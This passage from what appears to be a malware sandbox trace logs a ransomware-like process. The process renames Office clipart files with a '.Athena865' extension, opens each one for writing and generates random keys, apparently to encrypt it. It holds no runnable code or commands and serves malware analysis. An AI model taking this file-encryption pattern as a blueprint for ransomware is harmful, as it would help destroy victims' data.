12 [0122.636] lstrlenW (lpString="Athena865") returned 9 [0122.636] lstrcmpiW (lpString1="0255_.WMF", lpString2="Athena865") returned -1 [0122.636] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.Athena865") returned 73 [0122.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.640] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2690) returned 1 [0122.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.640] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.640] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.641] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.641] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.643] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.645] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.645] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.645] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00256_.WMF" | out: lpString1="DD00256_.WMF") returned="DD00256_.WMF" [0122.645] lstrlenW (lpString="DD00256_.WMF") returned 12 [0122.645] lstrlenW (lpString="Athena865") returned 9 [0122.645] lstrcmpiW (lpString1="0256_.WMF", lpString2="Athena865") returned -1 [0122.645] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.Athena865") returned 73 [0122.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.651] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2832) returned 1 [0122.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.652] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.652] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.652] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.655] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.656] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.656] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.656] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00261_.WMF" | out: lpString1="DD00261_.WMF") returned="DD00261_.WMF" [0122.656] lstrlenW (lpString="DD00261_.WMF") returned 12 [0122.656] lstrlenW (lpString="Athena865") returned 9 [0122.656] lstrcmpiW (lpString1="0261_.WMF", lpString2="Athena865") returned -1 [0122.656] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.Athena865") returned 73 [0122.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.665] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37974) returned 1 [0122.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.666] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.666] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.666] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.671] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.671] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.671] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.672] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00297_.WMF" | out: lpString1="DD00297_.WMF") returned="DD00297_.WMF" [0122.672] lstrlenW (lpString="DD00297_.WMF") returned 12 [0122.672] lstrlenW (lpString="Athena865") returned 9 [0122.672] lstrcmpiW (lpString1="0297_.WMF", lpString2="Athena865") returned -1 [0122.672] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.Athena865") returned 73 [0122.672] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.673] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40030) returned 1 [0122.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.674] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.674] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.674] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.677] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.678] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.678] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.679] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00372_.WMF" | out: lpString1="DD00372_.WMF") returned="DD00372_.WMF" [0122.679] lstrlenW (lpString="DD00372_.WMF") returned 12 [0122.679] lstrlenW (lpString="Athena865") returned 9 [0122.679] lstrcmpiW (lpString1="0372_.WMF", lpString2="Athena865") returned -1 [0122.679] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.Athena865") returned 73 [0122.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.681] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=792) returned 1 [0122.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.681] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.682] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.682] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.684] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.685] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.685] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.685] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00405_.WMF" | out: lpString1="DD00405_.WMF") returned="DD00405_.WMF" [0122.685] lstrlenW (lpString="DD00405_.WMF") returned 12 [0122.685] lstrlenW (lpString="Athena865") returned 9 [0122.685] lstrcmpiW (lpString1="0405_.WMF", lpString2="Athena865") returned -1 [0122.685] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.Athena865") returned 73 [0122.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.686] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17584) returned 1 [0122.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.687] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.687] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.687] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.690] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.691] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.691] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.691] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00407_.WMF" | out: lpString1="DD00407_.WMF") returned="DD00407_.WMF" [0122.691] lstrlenW (lpString="DD00407_.WMF") returned 12 [0122.692] lstrlenW (lpString="Athena865") returned 9 [0122.692] lstrcmpiW (lpString1="0407_.WMF", lpString2="Athena865") returned -1 [0122.692] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.Athena865") returned 73 [0122.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.693] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7828) returned 1 [0122.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.693] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.694] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.694] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.696] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.699] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.699] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.700] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00413_.WMF" | out: lpString1="DD00413_.WMF") returned="DD00413_.WMF" [0122.700] lstrlenW (lpString="DD00413_.WMF") returned 12 [0122.700] lstrlenW (lpString="Athena865") returned 9 [0122.700] lstrcmpiW (lpString1="0413_.WMF", lpString2="Athena865") returned -1 [0122.700] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.Athena865") returned 73 [0122.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.701] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42992) returned 1 [0122.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.702] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.702] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.702] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.709] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.710] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.710] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.711] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00414_.WMF" | out: lpString1="DD00414_.WMF") returned="DD00414_.WMF" [0122.711] lstrlenW (lpString="DD00414_.WMF") returned 12 [0122.711] lstrlenW (lpString="Athena865") returned 9 [0122.711] lstrcmpiW (lpString1="0414_.WMF", lpString2="Athena865") returned -1 [0122.711] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.Athena865") returned 73 [0122.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.712] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42908) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.712] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.713] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.713] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.718] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.719] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.719] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.720] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00419_.WMF" | out: lpString1="DD00419_.WMF") returned="DD00419_.WMF" [0122.720] lstrlenW (lpString="DD00419_.WMF") returned 12 [0122.720] lstrlenW (lpString="Athena865") returned 9 [0122.720] lstrcmpiW (lpString1="0419_.WMF", lpString2="Athena865") returned -1 [0122.720] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.Athena865") returned 73 [0122.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.723] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=712) returned 1 [0122.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.724] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.724] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.724] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.727] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.728] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.728] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.728] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD00437_.WMF" | out: lpString1="DD00437_.WMF") returned="DD00437_.WMF" [0122.728] lstrlenW (lpString="DD00437_.WMF") returned 12 [0122.728] lstrlenW (lpString="Athena865") returned 9 [0122.728] lstrcmpiW (lpString1="0437_.WMF", lpString2="Athena865") returned -1 [0122.728] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.Athena865") returned 73 [0122.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.729] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1932) returned 1 [0122.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.731] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.731] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.733] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.734] 